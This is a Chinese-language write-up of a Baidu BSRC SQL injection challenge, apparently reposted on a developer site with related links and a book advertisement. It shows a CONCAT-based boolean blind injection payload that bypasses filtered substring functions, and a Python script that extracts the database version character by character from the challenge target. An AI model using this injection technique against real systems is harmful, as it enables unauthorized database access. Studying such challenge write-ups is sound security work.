内容简介:百度BSRC SQL注入挑战赛部分writeup
百度BSRC在4月底举办了一个 SQL 注入挑战赛,以靶机的形式供安全测试人员攻击。
活动发布在百度安全应急响应中心微信公众号,判定标准分为两档:
- 读取 mysql 系统信息(user,version)或数据库名
- 通过SQL注入读取表内secret数据
比赛时间是4月28到5月1日24点,等我看到这个比赛的时候已经5月1日晚上9点多了,5月1日24点以后靶机就停止运行了,水平有限,只达到第一档的标准,而且也不是最早提交case的。另外,由于靶机已经关闭,下文关于靶机的描述可能存在偏差。
0x02 过滤与绕过
靶机url: http://sqlitest.anquanbao.com.cn/api/query?art_id=1
靶机屏蔽了错误信息,因此基于报错的注入无法进行,从测试来看,盲注的可能性很大。
经过测试,发现1在SQL语句中是整数。
靶机过滤了一些基本的字符串处理函数,mid,left,right,substr,substring等函数都被过滤。
无法将字符串分开就无法跑盲注,靶机过滤了所有的字符串分割函数,怎样才能让字符串中的字符一个一个跑出来呢?
答案是使用concat,我的绕过方法是通过concat与字符串比较大小,造成基于布尔型的注入。
payload: http://sqlitest.anquanbao.com.cn/api/query?art_id=hex(user()%3CCONCAT(char(67 ))) 在concat中不断增加字符即可做基于布尔类型的盲注。
代码
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import requests
import sys
url="http://sqlitest.anquanbao.com.cn/api/query?art_id=hex(version()<CONCAT(%s))"
pre=""
i=0
result=""
while i<128:
#print url
r=requests.get(url%(pre+'char('+str(i)+")"))
print r.url
if len(r.text)>203:
if i!=33:
pre=pre+'char('+str(i-1)+'),'
result+=chr(i-1)
print result
i=0
else:
break
i=i+1
获取的user和version如下:
- user():BSQLITEST@LOCALHOST
- version():5.5.54-0+DEB8U1
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 不受限对抗样本挑战赛介绍
- 国双,从2018全球AI挑战赛归来
- CVPR 2019 CLIC 图像压缩挑战赛冠军方案解读
- 第五届大学生RDMA编程挑战赛正式开赛
- 开源探索在路上:红帽挑战赛收官,更多高校学子将受益
- AI会话能力超越人类!CoQA挑战赛微软创新纪录
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
与孩子一起学编程
[美] 桑德Warren Sande、Carter Sande / 苏金国、姚曜 等 / 人民邮电出版社 / 2010-11 / 65.00元
一本老少咸宜的编程入门奇书!一册在手,你完全可以带着自己的孩子,跟随Sande父子组合在轻松的氛围中熟悉那些编程概念,如内存、循环、输入和输出、数据结构和图形用户界面等。这些知识一点儿也不高深,听起来备感亲切,书中言语幽默风趣而不失真义,让学习过程充满乐趣。细心的作者还配上了孩子们都喜欢的可爱漫画和经过运行测试的程序示例,教你用最易编写和最易理解的Python语言,写出你梦想中的游戏程序。 ......一起来看看 《与孩子一起学编程》 这本书的介绍吧!